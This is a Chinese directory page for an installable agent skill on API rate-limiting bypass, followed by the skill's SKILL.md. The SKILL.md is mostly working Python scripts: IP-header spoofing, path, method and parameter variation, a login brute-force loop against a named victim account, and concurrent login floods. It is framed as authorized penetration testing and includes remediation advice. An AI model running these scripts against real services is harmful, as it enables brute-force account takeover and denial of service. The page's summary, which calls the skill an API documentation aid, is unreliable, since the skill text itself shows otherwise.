Token导航 LogoToken导航

Agent Skill · 研究检索

performing-api-rate-limiting-bypass(performing API rate limiting bypass 搜索)

用于辅助 API 设计、接口文档、请求响应结构和服务集成说明。它适合让 Agent 梳理 endpoint、生成 OpenAPI 草稿、检查字段命名、整理错误码或辅助前后端联调。使用时需要确认真实业务语义、鉴权方式、分页和错误处理规则;涉及生成接口文档时,应避免凭空补字段,最好从现有代码、schema 或接口样例中提取事实。

performing-api-rate-limiting-bypass 是研究检索类 Agent Skill,可用宿主为 Codex、Claude、Cursor、Gemini CLI,通过GitHub 仓库获取,权限为调用外部服务;许可证信息还不明确,第三方扫描有提醒项,按安装量在研究检索类的 73,675 个 Skill 里排第 51,876。

总安装 570周安装 24GitHub Stars 5,922下载 414核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
unknown

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:performing-api-rate-limiting-bypass(performing API rate limiting bypass 搜索)
来源仓库:https://github.com/mukul975/anthropic-cybersecurity-skills
仓库路径:skills/performing-api-rate-limiting-bypass
安装命令:
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-api-rate-limiting-bypass
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-api-rate-limiting-bypass

这个 Skill 是做什么的

研究检索类 Skill 主要解决「找资料、核对事实、把来源整理清楚」的问题,通常会让助手先检索再总结。

用于辅助 API 设计、接口文档和请求响应结构说明。适合在 Codex、Claude、Cursor、Gemini CLI 中梳理 endpoint 或生成 OpenAPI 草稿。使用时需确认真实业务语义、鉴权方式和错误处理规则,避免凭空补字段。最好从现有代码或接口样例中提取事实,确保文档准确性。

performing-api-rate-limiting-bypass 属于研究检索类 Skill,可作为该场景下的辅助能力补充。

来源仓库内路径:skills/performing-api-rate-limiting-bypass

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 Codex、Claude、Cursor、Gemini CLI;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skil…;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要调用外部服务,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

performing-api-rate-limiting-bypass 怎么安装?

在终端执行 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performi…。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

performing-api-rate-limiting-bypass 支持哪些 AI 工具?

公开资料标注支持 Codex、Claude、Cursor、Gemini CLI。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

performing-api-rate-limiting-bypass 需要什么权限?

权限级别是调用外部服务。该 Skill 可能调用第三方服务、云服务或外部模型 API,使用前需要确认账号、额度、数据发送范围和服务条款。

performing-api-rate-limiting-bypass 是免费的吗?

公开资料没有标注明确许可证,收费和商用限制都无法确认。正式使用前请到来源仓库核对授权说明。

performing-api-rate-limiting-bypass 用的人多吗?

公开数据是累计安装 570 次,近一周安装 24 次,下载 414 次,GitHub 5,922 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

performing-api-rate-limiting-bypass 安全吗?

第三方扫描有提醒项,说明存在需要人工确认的行为。安装前请打开源码看清它读了什么、联网到哪里。

值得选的地方和要先想清楚的地方

值得选的地方

  • 同时适配 4 种工具,换客户端不用重新找替代品。
  • 来源仓库有 5,922 星,维护活跃度相对可查。

先想清楚的地方

  • 许可证没有明确标注,能不能商用、能不能再分发都不确定。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 Codex,想直接扩展它能力的人。
  • 需要处理研究检索类任务、又不想每次都手写提示词的人。

不太适合

  • 需要明确授权才能用到公司项目里的场景。
  • 需要厂商级技术支持和 SLA 的生产系统。

研究检索类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
find-skills

寻找技能 · Codex、Claude

31,199,81316,486操作浏览器MIT有提醒
self-improving-agent

自我改进 Agent · OpenClaw

16,464,0023,396接触敏感数据MIT-0通过
soultrace

灵魂追踪 · Codex、Claude

7,588,94412需要联网未明确有提醒
self-improving

自我完善 · OpenClaw

6,829,2841,046需要联网MIT-0通过
microsoft-foundry

微软代工厂 · Codex、Claude

6,614,144764调用外部服务未明确有提醒
performing-api-rate-limiting-bypass

performing API rate limiting bypass 搜索 · 本页

5705,922调用外部服务未明确有提醒

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

Performing API Rate Limiting Bypass

When to Use

  • Testing whether API rate limiting can be circumvented to enable brute force attacks on authentication endpoints
  • Assessing the effectiveness of API throttling controls against credential stuffing or account enumeration
  • Evaluating if rate limits are enforced consistently across all API versions, methods, and encoding formats
  • Testing if API gateway rate limiting can be bypassed through header manipulation or IP rotation
  • Validating that rate limits protect against resource exhaustion and denial-of-service conditions

Do not use without written authorization. Rate limit testing involves sending high volumes of requests that may impact service availability.

Prerequisites

  • Written authorization specifying target endpoints and acceptable request volumes
  • Python 3.10+ with requests, aiohttp, and asyncio libraries
  • Burp Suite Professional with Turbo Intruder extension for high-speed testing
  • cURL for manual header manipulation testing
  • Knowledge of the target's CDN and WAF infrastructure (Cloudflare, AWS WAF, Akamai)
  • List of rate-limit bypass headers to test

Workflow

Step 1: Rate Limit Discovery and Baseline

Identify how rate limiting is implemented:

import requests
import time

BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}

# Send requests and track rate limit headers
def probe_rate_limit(endpoint, method="GET", count=100):
    results = []
    for i in range(count):
        resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers)
        rate_headers = {
            "limit": resp.headers.get("X-RateLimit-Limit") or resp.headers.get("X-Rate-Limit-Limit"),
            "remaining": resp.headers.get("X-RateLimit-Remaining") or resp.headers.get("X-Rate-Limit-Remaining"),
            "reset": resp.headers.get("X-RateLimit-Reset") or resp.headers.get("X-Rate-Limit-Reset"),
            "retry_after": resp.headers.get("Retry-After"),
            "status": resp.status_code
        }
        results.append(rate_headers)
        if resp.status_code == 429:
            print(f"Rate limited at request {i+1}: {rate_headers}")
            return results, i+1
        time.sleep(0.05)  # Small delay to avoid connection issues
    print(f"No rate limit triggered after {count} requests")
    return results, count

# Test key endpoints
login_results, login_threshold = probe_rate_limit("/auth/login", "POST", 200)
api_results, api_threshold = probe_rate_limit("/users/me", "GET", 200)
search_results, search_threshold = probe_rate_limit("/search?q=test", "GET", 200)

print(f"\nRate Limit Summary:")
print(f"  Login: Triggered at request {login_threshold}")
print(f"  API: Triggered at request {api_threshold}")
print(f"  Search: Triggered at request {search_threshold}")

Step 2: IP-Based Bypass Techniques

# Bypass Technique 1: Header-based IP spoofing
IP_SPOOFING_HEADERS = [
    "X-Forwarded-For",
    "X-Real-IP",
    "X-Original-Forwarded-For",
    "X-Originating-IP",
    "X-Remote-IP",
    "X-Remote-Addr",
    "X-Client-IP",
    "X-Host",
    "X-Forwarded-Host",
    "True-Client-IP",
    "Cluster-Client-IP",
    "X-ProxyUser-Ip",
    "Forwarded",
    "CF-Connecting-IP",
    "Fastly-Client-IP",
    "X-Azure-ClientIP",
    "X-Akamai-Client-IP",
]

def test_ip_spoofing_bypass(endpoint, method="POST", body=None):
    """Test if IP spoofing headers bypass rate limiting."""
    # First, trigger the rate limit normally
    for i in range(200):
        resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers, json=body)
        if resp.status_code == 429:
            print(f"Rate limit triggered at request {i+1}")
            break

    # Now test each spoofing header
    bypasses_found = []
    for header in IP_SPOOFING_HEADERS:
        spoofed_headers = {**headers, header: f"10.0.{i%256}.{(i*7)%256}"}
        resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=spoofed_headers, json=body)
        if resp.status_code != 429:
            bypasses_found.append(header)
            print(f"[BYPASS] {header} -> {resp.status_code}")

    return bypasses_found

login_body = {"username": "test@example.com", "password": "wrongpassword"}
bypasses = test_ip_spoofing_bypass("/auth/login", "POST", login_body)

Step 3: Endpoint Variation Bypass

# Bypass Technique 2: URL path variation
def test_path_variation_bypass(base_endpoint, token):
    """Test if path variations bypass rate limit tied to specific endpoint."""
    variations = [
        base_endpoint,                          # /api/v1/auth/login
        base_endpoint + "/",                    # /api/v1/auth/login/
        base_endpoint.upper(),                  # /API/V1/AUTH/LOGIN
        base_endpoint + "?dummy=1",             # /api/v1/auth/login?dummy=1
        base_endpoint + "#fragment",            # /api/v1/auth/login#fragment
        base_endpoint + "%20",                  # /api/v1/auth/login%20
        base_endpoint + "/..",                  # /api/v1/auth/login/..
        base_endpoint.replace("/v1/", "/v2/"),  # /api/v2/auth/login
        base_endpoint + ";",                    # /api/v1/auth/login;
        base_endpoint + "\t",                   # Tab character
        base_endpoint + "%00",                  # Null byte
        base_endpoint + "..;/",                 # Spring path traversal
    ]

    # Trigger rate limit on original endpoint first
    for i in range(200):
        resp = requests.post(f"{BASE_URL}{base_endpoint}",
                           headers={"Authorization": f"Bearer {token}"},
                           json={"username": "test", "password": "wrong"})
        if resp.status_code == 429:
            break

    # Test variations
    for variant in variations:
        try:
            resp = requests.post(f"{BASE_URL}{variant}",
                               headers={"Authorization": f"Bearer {token}"},
                               json={"username": "test", "password": "wrong"})
            if resp.status_code != 429:
                print(f"[BYPASS] Path variation: {variant} -> {resp.status_code}")
        except Exception:
            pass

test_path_variation_bypass("/auth/login", "<token>")

Step 4: HTTP Method and Content-Type Bypass

# Bypass Technique 3: Method and content-type switching
def test_method_bypass(endpoint, original_body):
    """Test if rate limit is method-specific."""
    methods_to_test = ["POST", "PUT", "PATCH", "GET", "OPTIONS"]

    content_types = [
        "application/json",
        "application/x-www-form-urlencoded",
        "multipart/form-data",
        "text/plain",
        "application/xml",
        "text/xml",
    ]

    # Trigger rate limit with POST + application/json
    for i in range(200):
        resp = requests.post(f"{BASE_URL}{endpoint}",
                           headers={**headers, "Content-Type": "application/json"},
                           json=original_body)
        if resp.status_code == 429:
            break

    # Test other methods
    for method in methods_to_test:
        if method == "POST":
            continue
        resp = requests.request(method, f"{BASE_URL}{endpoint}",
                              headers=headers, json=original_body)
        if resp.status_code not in (429, 405):
            print(f"[BYPASS] Method switch to {method}: {resp.status_code}")

    # Test other content types
    for ct in content_types:
        if ct == "application/json":
            continue
        test_headers = {**headers, "Content-Type": ct}
        if ct == "application/x-www-form-urlencoded":
            data = "&".join(f"{k}={v}" for k, v in original_body.items())
            resp = requests.post(f"{BASE_URL}{endpoint}", headers=test_headers, data=data)
        else:
            resp = requests.post(f"{BASE_URL}{endpoint}", headers=test_headers,
                               data=str(original_body))
        if resp.status_code != 429:
            print(f"[BYPASS] Content-Type {ct}: {resp.status_code}")

test_method_bypass("/auth/login", {"username": "test@example.com", "password": "wrong"})

Step 5: Account-Level Bypass Techniques

# Bypass Technique 4: Rotate identifiers to avoid per-account limits
import string
import random

def test_account_rotation_bypass(login_endpoint, target_password_list):
    """Test if rate limit is per-account, bypassed by rotating usernames."""
    target_email = "victim@example.com"

    # Test 1: Per-account rate limit bypass by rotating the username field
    # with slight variations
    email_variations = [
        target_email,
        target_email.upper(),
        f" {target_email}",
        f"{target_email} ",
        target_email.replace("@", "%40"),
        f"+tag@".join(target_email.split("@")),  # victim+tag@example.com
    ]

    for password in target_password_list[:50]:
        for email_var in email_variations:
            resp = requests.post(f"{BASE_URL}{login_endpoint}",
                               json={"username": email_var, "password": password})
            if resp.status_code == 200:
                print(f"[SUCCESS] Logged in with: {email_var} / {password}")
                return True
            elif resp.status_code == 429:
                print(f"Rate limited on variation: {email_var}")
            # Small delay
            time.sleep(0.1)

    return False

# Bypass Technique 5: Parameter pollution
def test_parameter_pollution_bypass(endpoint):
    """Add extra parameters to make each request appear unique."""
    for i in range(200):
        random_param = ''.join(random.choices(string.ascii_lowercase, k=8))
        resp = requests.post(
            f"{BASE_URL}{endpoint}?{random_param}={i}",
            headers=headers,
            json={"username": "test@example.com", "password": f"attempt_{i}"}
        )
        if resp.status_code == 429:
            print(f"Parameter pollution failed at request {i+1}")
            return False
    print("[BYPASS] Parameter pollution: 200 requests without rate limit")
    return True

Step 6: Distributed and Async Testing

import asyncio
import aiohttp

async def distributed_rate_limit_test(endpoint, total_requests=1000, concurrency=50):
    """Test rate limiting under concurrent load."""
    results = {"success": 0, "rate_limited": 0, "errors": 0}

    async def make_request(session, request_num):
        try:
            # Rotate X-Forwarded-For per request
            req_headers = {
                **headers,
                "X-Forwarded-For": f"192.168.{request_num % 256}.{(request_num * 3) % 256}"
            }
            async with session.post(
                f"{BASE_URL}{endpoint}",
                headers=req_headers,
                json={"username": "test@example.com", "password": f"attempt_{request_num}"}
            ) as resp:
                if resp.status == 429:
                    results["rate_limited"] += 1
                elif resp.status in (200, 401):
                    results["success"] += 1
                else:
                    results["errors"] += 1
        except Exception:
            results["errors"] += 1

    connector = aiohttp.TCPConnector(limit=concurrency)
    async with aiohttp.ClientSession(connector=connector) as session:
        tasks = [make_request(session, i) for i in range(total_requests)]
        await asyncio.gather(*tasks)

    print(f"\nDistributed Test Results:")
    print(f"  Successful: {results['success']}")
    print(f"  Rate Limited: {results['rate_limited']}")
    print(f"  Errors: {results['errors']}")
    print(f"  Bypass Rate: {results['success']/(results['success']+results['rate_limited'])*100:.1f}%")

# asyncio.run(distributed_rate_limit_test("/auth/login"))

Key Concepts

TermDefinition
Rate LimitingControlling the number of requests a client can make to an API within a time window, typically enforced per IP, per user, or per API key
Unrestricted Resource ConsumptionOWASP API4:2023 - APIs that do not properly limit the size or number of resources requested, enabling DoS or brute force attacks
X-Forwarded-For SpoofingManipulating the X-Forwarded-For header to make the server believe requests originate from different IP addresses, bypassing IP-based rate limits
Credential StuffingAutomated injection of stolen username/password pairs against login endpoints, requiring rate limit bypass for large-scale attacks
Token BucketRate limiting algorithm that allows bursts of requests up to a bucket size, refilling at a constant rate
Sliding WindowRate limiting algorithm that tracks requests in a rolling time window, more resistant to burst attacks than fixed windows

Tools & Systems

  • Burp Suite Turbo Intruder: High-performance request sender for rate limit testing using Python-based scripting engine
  • ffuf: Fast web fuzzer capable of testing rate limits with configurable request rates and header manipulation
  • wfuzz: Web fuzzer with support for header injection, parameter fuzzing, and rate limit evasion techniques
  • Postman Collection Runner: Automated collection execution with variable rotation for rate limit bypass testing
  • Gatling/k6: Load testing tools that simulate realistic traffic patterns to test rate limiting under production-like conditions

Common Scenarios

Scenario: Login API Rate Limit Bypass Assessment

Context: A financial services API implements rate limiting on the login endpoint to prevent brute force attacks. The security team wants to verify the effectiveness of these controls before a compliance audit.

Approach:

  1. Baseline: Send 100 requests to POST /api/v1/auth/login - rate limited at request 10 per minute per IP
  2. Test X-Forwarded-For rotation: Send 100 requests with unique X-Forwarded-For values - rate limit bypassed (all requests return 401, not 429)
  3. Test path variation: /api/v1/auth/login/ (trailing slash) resets the rate limit counter
  4. Test API versioning: /api/v2/auth/login has no rate limiting configured (shadow API)
  5. Test parameter pollution: Adding ?_=<random> to each request bypasses the rate limit
  6. Test concurrent requests: 50 simultaneous requests from same IP - 45 succeed before rate limit kicks in (race condition in counter)
  7. Determine that rate limiting is implemented at the nginx reverse proxy level using IP-only tracking, trusting X-Forwarded-For header without validation

Pitfalls:

  • Sending too many requests too fast and causing actual denial of service to the test environment
  • Not testing rate limits on password reset, MFA verification, and account enumeration endpoints
  • Assuming the rate limit applies globally when it may be per-endpoint or per-method only
  • Missing race conditions in rate limit counters that allow burst bypasses
  • Not testing both authenticated and unauthenticated rate limiting separately

Output Format

## Finding: Rate Limiting Bypass via X-Forwarded-For Header Spoofing

**ID**: API-RATE-001
**Severity**: High (CVSS 7.3)
**OWASP API**: API4:2023 - Unrestricted Resource Consumption
**Affected Endpoints**:
  - POST /api/v1/auth/login
  - POST /api/v1/auth/forgot-password
  - POST /api/v1/auth/verify-mfa

**Description**:
The API rate limiting implementation relies on the X-Forwarded-For header
to identify client IP addresses. Since the application sits behind a load
balancer that does not strip or validate this header, an attacker can set
arbitrary X-Forwarded-For values to bypass the 10 requests/minute rate limit
on authentication endpoints.

**Bypass Methods Confirmed**:
1. X-Forwarded-For rotation: 1000 login attempts in 60 seconds (vs 10 limit)
2. Trailing slash path variation: /auth/login/ treated as separate endpoint
3. API v2 endpoint: No rate limiting configured
4. Race condition: 50 concurrent requests, 45 succeed before counter updates

**Impact**:
An attacker can perform unlimited brute force attacks against any user
account, bypassing the rate limit designed to prevent credential stuffing.
At 1000 attempts per minute, a 6-digit PIN can be brute-forced in under
17 minutes.

**Remediation**:
1. Configure the load balancer to set X-Forwarded-For and strip client-provided values
2. Implement rate limiting at the application layer using authenticated user ID, not just IP
3. Normalize URL paths before applying rate limit rules (strip trailing slashes, enforce lowercase)
4. Apply rate limits consistently across all API versions and content types
5. Use atomic rate limit counters (Redis INCR) to prevent race conditions
6. Implement progressive delays (exponential backoff) in addition to hard limits

平台分布

Codex

35.31%
按下载量换算146

Claude

29.23%
按下载量换算121

Cursor

19.74%
按下载量换算82

Gemini CLI

8.96%
按下载量换算37

安全审计

Gen Agent Trust Hub

通过

Socket

通过

Snyk

可疑

权限和风险

调用外部服务

该 Skill 可能调用第三方服务、云服务或外部模型 API,使用前需要确认账号、额度、数据发送范围和服务条款。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

继续浏览同类 Skills